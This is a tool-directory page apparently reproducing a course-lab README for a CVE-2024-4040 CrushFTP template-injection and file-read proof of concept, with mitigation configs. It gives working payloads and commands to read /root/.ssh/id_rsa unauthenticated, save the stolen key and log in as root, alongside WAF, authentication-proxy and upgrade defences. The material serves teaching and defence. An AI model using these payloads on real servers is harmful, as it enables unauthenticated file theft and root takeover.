Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CrushFTP-SSTI-LFI-Proof-of-Concept — 针对CVE-2024-4040(CrushFTP SSTI -> 未认证LFI)的概念验证,在受控的CS443实验室环境中 - 仅供教育/授权使用。 | Kitploit
工具/GitHubGitHub/cthhhhhh/crushftp-ssti-lfi-proof-of-concept
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育实验室与实践
GitHubcthhhhhh/crushftp-ssti-lfi-proof-of-concept

CrushFTP-SSTI-LFI-Proof-of-Concept

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

针对CVE-2024-4040(CrushFTP SSTI -> 未认证LFI)的概念验证,在受控的CS443实验室环境中 - 仅供教育/授权使用。

查看仓库
115个月前尚未审核
分享

CVE-2024-4040 — CrushFTP SSTI / LFI 概念验证

仅供教育和授权实验室环境使用。
CS443 软件与系统安全 — 受控本地 Docker 环境。


漏洞摘要

字段详情
CVECVE-2024-4040
受影响软件CrushFTP < 10.7.1(v10 分支)/ < 11.1.0(v11 分支)
漏洞类型服务器端模板注入 (SSTI) → 未认证本地文件读取
CVSS 评分9.8 严重
影响未认证攻击者可以读取服务器文件系统中的任意文件

CrushFTP 的 WebInterface 在处理 zip 命令的 path 参数时,未经消毒直接评估模板表达式。未认证攻击者可获取匿名会话 cookie,然后利用这些 cookie 传递模板载荷({working_dir}、<INCLUDE>…</INCLUDE>),服务器评估并返回这些载荷,从而实现跨主机任意文件读取。


实验室环境

组件值
目标http://localhost:8080
基础 PoC CrushFTP 版本10.3.0(故意存在漏洞)
缓解方案 3 测试环境运行 CrushFTP 11.x(已修补分支)的独立容器
SSH 端口(容器)2222 → 22
管理员凭据admin / admin
容器运行时Docker(Compose)

前置条件

pip install requests rich

脚本

脚本来源用途
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoC完整的 SSTI/LFI 利用 — 会话窃取、任意文件读取
recon.py本仓库版本检测、实时 SSTI 探测、漏洞确认

概念验证操作步骤

步骤 1 — 启动实验室

docker-compose up -d

等待约 10 秒让 CrushFTP 完全初始化后再运行脚本。 此处无需单独的侦察步骤,因为 crushed.py 在执行过程中会检查是否可以利用。


步骤 2 — 通过 LFI 窃取 SSH 私钥

python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

该脚本将:

  1. 从 /WebInterface/ 获取匿名 CrushAuth / currentAuth 会话
  2. 使用 SSTI 确认模板评估并泄露服务器主机名
  3. 使用 {working_dir} 解析 CrushFTP 安装目录
  4. 使用 <INCLUDE>/root/.ssh/id_rsa</INCLUDE> 读取目标文件
  5. 将原始文件内容打印到标准输出

从输出中复制私钥块(从 -----BEGIN OPENSSH PRIVATE KEY----- 到 -----END OPENSSH PRIVATE KEY----- 的所有内容)。


步骤 3 — 保存窃取的密钥

cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

步骤 4 — 以 root 身份 SSH 进入容器

ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

步骤 5 — 确认 root 访问权限

whoami
# 预期输出: root

id
# 预期输出: uid=0(root) gid=0(root) groups=0(root)

hostname
# 预期输出: <container_id>

攻击链图

未认证攻击者
        │
        ▼
GET /WebInterface/          ← 获取匿名 CrushAuth + currentAuth cookie
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI 确认 — 服务器评估模板
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← 泄露绝对安装路径
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← 任意文件读取
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← 获得完整 root shell

crushed.py 中的已知问题

问题位置详情
缺少依赖第 6–9 行运行前需要 pip install rich
脆弱的 XML 解析第 86、140 行在非 XML 响应时崩溃;无 ParseError 处理
Token 正则过于严格第 160–161 行CrushAuth=…; currentAuth=… 模式可能无法匹配所有 sessions.obj 格式
仅限 HTTP 404第 53 行Cookie 获取仅在 404 时成功;其他状态码静默失败

缓解策略

缓解方案 1 — Web 应用防火墙(NGINX + ModSecurity)

概述

WAF 作为反向代理,在流量到达 CrushFTP 之前检查传入的 HTTP/S 流量。通过使用 NGINX 和 ModSecurity,在无需修改 CrushFTP 本身的情况下,在网络边缘阻止利用 CVE-2024-4040 的恶意请求。

如何缓解 CVE-2024-4040

  • 阻止请求 URI 和 cookie 中的路径遍历模式(例如 ../、%2e%2e)
  • 防止未认证的 VFS 逃逸请求到达 CrushFTP
  • 在请求到达应用程序之前记录并拒绝可疑载荷

Docker 设置

使用 Mitigation 1/docker-compose.yaml:

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

NGINX 配置

使用 Mitigation 1/nginx.conf:

worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # 启用 ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # 将所有流量代理到 CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # 被阻止的请求返回 403
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

流量流程

攻击者 -> NGINX WAF (端口 80) -> 阻止恶意请求 -> 403 禁止
                             -> 转发正常请求 -> CrushFTP:8080

局限性

  • 未修复根本原因 - 若 WAF 被绕过,CrushFTP 仍然存在漏洞
  • 随着攻击者开发混淆技术,需要更新规则

缓解方案 2 — 禁用匿名用户访问

概述

CVE-2024-4040 无需认证即可利用。在本实验室中,通过在 NGINX 层之前要求 Authorization 头,阻止匿名式访问进入敏感路由代理到 CrushFTP。

如何缓解 CVE-2024-4040

  • 像 crushed.py 这样的利用脚本依赖未认证访问;没有凭据的请求被返回 401
  • 对 /WebInterface/ 和 / 的请求在没有认证数据时被拒绝
  • 减少未认证用户暴露漏洞端点

Docker 设置(来自 Mitigation 2/docker-compose.yaml 的精确内容)

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

NGINX 策略(来自 Mitigation 2/nginx.conf 的精确内容)

events {}
http {
  server {
    listen 80;

    # 允许静态资源无需认证
    location ~* \.(css|js|png|jpg|ico|gif)$ {
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
    }

    # 阻止对 WebInterface 的未认证访问
    location /WebInterface/ {
      if ($http_authorization = "") {
        return 401 "Authentication Required - Anonymous sessions disabled";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header Authorization $http_authorization;
    }

    # 阻止所有其他路径的未认证访问
    location / {
      if ($http_authorization = "") {
        return 401 "Authentication Required";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
    }
  }
}

通过 Docker 验证

# 确认 NGINX 拒绝未认证请求
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# 预期输出: 401 Unauthorized

# 可选:带认证的请求应被转发
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername

局限性

  • 未修复底层漏洞;如果利用逻辑被调整,认证用户仍可能面临风险
  • 执行依赖于代理的部署位置以及在 CrushFTP 前正确处理请求头

缓解方案 3 — 更新到 CrushFTP 版本 11

概述

升级到 CrushFTP 11 是最有效且永久的修复方法。该补丁在 VFS 路径解析上增加了严格的输入验证,消除了 CVE-2024-4040 的根本原因。

如何缓解 CVE-2024-4040

  • 强制对 VFS 路径进行严格沙箱化 - 在应用程序级别拒绝逃逸尝试
  • 诸如 crushed.py 的利用脚本不再适用于版本 11
  • 修复在源代码级别应用,而非被外部控制掩蔽

实施

将您的 Dockerfile 更新为使用 CrushFTP 11:

FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt

RUN apt-get update -y && apt-get -y install unzip wget openssh-server

COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip

EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22

WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"

CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d

重建容器:

docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d

验证补丁生效

# 对 v11 运行利用脚本 - 应失败
# 注意:本仓库脚本使用 -t/--target。
python3 crushed.py -t http://localhost:8080

# 预期输出:利用脚本不返回任何内容或连接错误
下载工具